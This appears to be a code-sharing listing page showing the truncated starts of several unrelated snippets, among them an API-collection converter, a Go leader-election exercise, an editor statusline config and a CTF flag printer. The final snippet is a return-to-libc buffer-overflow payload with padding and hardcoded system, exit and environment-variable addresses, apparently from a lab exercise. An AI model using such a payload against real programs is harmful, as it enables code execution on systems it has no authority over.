This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const axios = require("axios"); | |
const Converter = require("openapi-to-postmanv2"); | |
require("dotenv").config(); | |
module.exports = function createCollection(key, value) { | |
// Load the Swagger JSON file | |
const swaggerUrl = `${value}-json`; | |
axios | |
.get(swaggerUrl) | |
.then((response) => { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/// A small attempt to implement `bully algo` that is used to select a leader | |
/// in distributed system. Here code might not be using right practices but our | |
/// purpose is to learn language and implment algo. Another learning from this | |
/// code is that channel has to be initiaised in order to work. | |
package main | |
import ( | |
"fmt" | |
"time" | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local generator = function() | |
local el_segments = {} | |
-- Option 2, just a function that returns a string. | |
local extensions = require('el.extensions') | |
local subscribe = require('el.subscribe') | |
local section = require('el.sections') | |
table.insert(el_segments, extensions.mode) -- mode returns the current mode. | |
table.insert(el_segments, section.split) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Online Python compiler (interpreter) to run Python online. | |
# Write Python 3 code in this online editor and run it. | |
from heapq import * | |
def minimum_cost_get_pattern(string, pattern): | |
n = len(string)+1 | |
m = len(pattern)+1 | |
distance = [[0 for x in range(n)] for x in range(m)] | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/****************************************************************************** | |
Welcome to GDB Online. | |
GDB online is an online compiler and debugger tool for C, C++, Python, Java, PHP, Ruby, Perl, | |
C#, VB, Swift, Pascal, Fortran, Haskell, Objective-C, Assembly, HTML, CSS, JS, SQLite, Prolog. | |
Code, Compile, Run and Debug online from anywhere in world. | |
*******************************************************************************/ | |
public class Main | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import threading | |
import os | |
import sys | |
import requests | |
from requests.adapters import HTTPAdapter | |
from requests.packages.urllib3.util.retry import Retry | |
# disable requests warning | |
requests.packages.urllib3.disable_warnings() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
def print_flag(): | |
flag_hex = [111,104,101,114,96,108,125,103,106,106,89,114,110,99,117, | |
99,89,107,105,107,99,104,114,117,89,106,105,117,114,89,111,104,89,114,111,107,99,123] | |
i = 0 | |
while ( i < 38): | |
sys.stdout.write(chr(flag_hex[i] ^ 6)) | |
i += 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
============== payload file ============ | |
import struct | |
padding="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS" | |
system_addr = struct.pack('I',0xb7ecffb0) | |
exit_addr = struct.pack('I',0xb7ec60c0) | |
egg_var = struct.pack('I',0xbfffff95) | |
print padding+system_addr+exit_addr+egg_var | |
================ setup file =============== |